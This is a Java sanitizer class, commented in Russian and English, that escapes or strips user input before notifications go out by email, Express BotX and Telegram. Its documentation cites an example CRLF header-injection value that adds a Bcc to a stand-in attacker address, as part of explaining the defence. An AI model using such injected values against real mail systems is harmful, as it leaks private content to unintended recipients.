package cloud.nstart.terravault.ordinis.notifications.sanitizer;

/**
 * Sanitization adapter для user-controlled полей перед template render.
 *
 * <p><b>Purpose — defence-in-depth:</b> {@code business_key}, {@code maker},
 * {@code reviewer}, {@code comment} в notification templates приходят
 * непосредственно от пользователей. Без sanitization получаем CVE-class
 * injection vulnerabilities per channel:
 *
 * <ul>
 *   <li><b>Email subject CRLF injection</b> (RFC 5322): {@code business_key
 *       = "Союз\nBcc: attacker@evil.com"} → JavaMail {@code setSubject(String)}
 *       не strip'ает CRLF → headers spoof'ятся → unintended recipients
 *       получают draft content. Это primary CRITICAL gap из eng review v3.</li>
 *   <li><b>Express BotX markdown spoof</b>: business_key с {@code *} или
 *       {@code _} ломает rendering или открывает structure manipulation.</li>
 *   <li><b>Telegram MarkdownV2 spec violations</b>: per Bot API spec
 *       reserved chars должны быть escaped или Telegram rejects message
 *       (или, хуже, рендерит unintended formatting).</li>
 * </ul>
 *
 * <p>Все методы — pure static, no Spring DI, fully unit-testable. Trade-off:
 * {@code MAX_LEN} cap в 200 chars применяется ко всем channels uniformly
 * (email subject + chat message длинные ключи всё равно truncate'ятся в
 * клиентах, поэтому 200 chars — sane upper bound).
 *
 * <p>Sanitization вызывается дважды (defence-in-depth):
 * <ol>
 *   <li>В {@code MessageRenderer} перед rendering template — params уже
 *       safe для конкретного channel kind.</li>
 *   <li>В каждом {@code NotificationChannel.dispatch()} перед фактическим
 *       send — на случай если где-то забыли первый шаг.</li>
 * </ol>
 *
 * <p>Comprehensive test coverage в {@code SanitizerTest} — особенно
 * {@code emailHeaderInjectionRejected*} cases. Эти тесты — CI-gating; если
 * сломаются, build падает и CRITICAL gap re-opens.
 *
 * @see <a href="https://datatracker.ietf.org/doc/html/rfc5322">RFC 5322 §2.2 — header injection vector</a>
 * @see <a href="https://core.telegram.org/bots/api#markdownv2-style">Telegram Bot API MarkdownV2 reserved chars</a>
 */
public final class Sanitizer {

  /**
   * Maximum length применяется ко всем sanitized output strings. 200 chars —
   * email subject reasonable cap (Outlook truncates ~150-200), Express BotX
   * body line readable limit, Telegram hard limit 4096 (но за 200 chars
   * scannable format ломается).
   */
  public static final int MAX_LEN = 200;

  // Prevent instantiation.
  private Sanitizer() {}

  /**
   * Email-safe sanitization: strip CRLF (RFC 5322 §2.2 header injection
   * vector) + cap длину.
   *
   * <p>Strips:
   * <ul>
   *   <li>{@code \r} (CR, U+000D)</li>
   *   <li>{@code \n} (LF, U+000A)</li>
   *   <li>{@code U+0085} (NEL — Next Line, Outlook treats как line break)</li>
   *   <li>{@code U+2028} (Line Separator)</li>
   *   <li>{@code U+2029} (Paragraph Separator)</li>
   * </ul>
   * Заменяются на single space.
   *
   * <p>Используется для:
   * <ul>
   *   <li>Email Subject (HIGHEST risk — RFC 5322 header injection).</li>
   *   <li>Email From/To/Reply-To display names (вторичный risk).</li>
   *   <li>Body параметров в email plain text (CRLF в body не injection,
   *       но уродует layout).</li>
   * </ul>
   *
   * @param raw произвольный user-controlled input, может быть null
   * @return sanitized string, never null (на null → empty string)
   */
  public static String forEmailHeader(String raw) {
    if (raw == null) {
      return "";
    }
    String stripped = raw.replaceAll("[\\r\\n\\u0085\\u2028\\u2029]", " ");
    return stripped.length() > MAX_LEN ? stripped.substring(0, MAX_LEN) : stripped;
  }

  /**
   * Express BotX-safe sanitization: escape Markdown subset reserved chars
   * + cap длину.
   *
   * <p>Express BotX поддерживает урезанный Markdown:
   * <ul>
   *   <li>{@code **bold**}</li>
   *   <li>{@code *italic*}</li>
   *   <li>{@code `code`}</li>
   *   <li>{@code ~~strike~~}</li>
   * </ul>
   *
   * <p>Если business_key содержит {@code *} или {@code _} или {@code `} или
   * {@code ~} — backslash-escape'аем чтобы:
   * <ol>
   *   <li>Не сломать rendering (template "*Новый draft*" + business_key
   *       "Союз*М-25" → "*Новый draft*Союз*М-25" → bold-spans поломаются).</li>
   *   <li>Не открыть structure manipulation вектор (хотя BotX rendering
   *       sandbox'нутый, defence-in-depth дёшев).</li>
   * </ol>
   *
   * <p>Backslash сам тоже escape'ится — иначе input "test\n" станет литерал
   * "test\\n" в output (escaping issue).
   *
   * @param raw произвольный user-controlled input, может быть null
   * @return sanitized string, never null
   */
  public static String forExpressText(String raw) {
    if (raw == null) {
      return "";
    }
    String capped = raw.length() > MAX_LEN ? raw.substring(0, MAX_LEN) + "…" : raw;
    // Order matters: escape backslash first, иначе двойной escape на
    // уже-escaped chars. Pattern matches: \ * _ ` ~
    return capped.replaceAll("([\\\\*_`~])", "\\\\$1");
  }

  /**
   * Telegram MarkdownV2-safe sanitization: escape reserved chars per Bot
   * API spec + cap длину.
   *
   * <p>Per <a href="https://core.telegram.org/bots/api#markdownv2-style">
   * Telegram Bot API MarkdownV2</a>, reserved chars: <pre>
   * _ * [ ] ( ) ~ ` &gt; # + - = | { } . !
   * </pre>
   * Plus backslash itself ({@code \}) escape character.
   *
   * <p>Все эти chars в сыром user input должны быть prefix'нуты {@code \\}
   * иначе Telegram API rejects message (или хуже — рендерит unintended
   * formatting).
   *
   * @param raw произвольный user-controlled input, может быть null
   * @return sanitized string, never null
   */
  public static String forTelegramMarkdown(String raw) {
    if (raw == null) {
      return "";
    }
    String capped = raw.length() > MAX_LEN ? raw.substring(0, MAX_LEN) + "…" : raw;
    // Order matters: backslash first.
    return capped.replaceAll("([\\\\_*\\[\\]()~`>#+=|{}.!\\-])", "\\\\$1");
  }

  /**
   * Plain-text body sanitization: NOT escape markdown, но strip control chars.
   * Используется для plain text email body, plain Telegram (если не MarkdownV2),
   * plain Express messages (если не markdown mode).
   *
   * <p>Strips: ASCII control chars (0x00-0x1F кроме {@code \t \r \n}) + DEL (0x7F).
   * НЕ truncate'ит до MAX_LEN — bodies больше subjects, размер контролируется
   * на template level или channel-specific limits.
   *
   * @param raw произвольный user-controlled input, может быть null
   * @return sanitized string, never null
   */
  public static String forPlainTextBody(String raw) {
    if (raw == null) {
      return "";
    }
    return raw.replaceAll("[\\x00-\\x08\\x0B\\x0C\\x0E-\\x1F\\x7F]", "");
  }
}
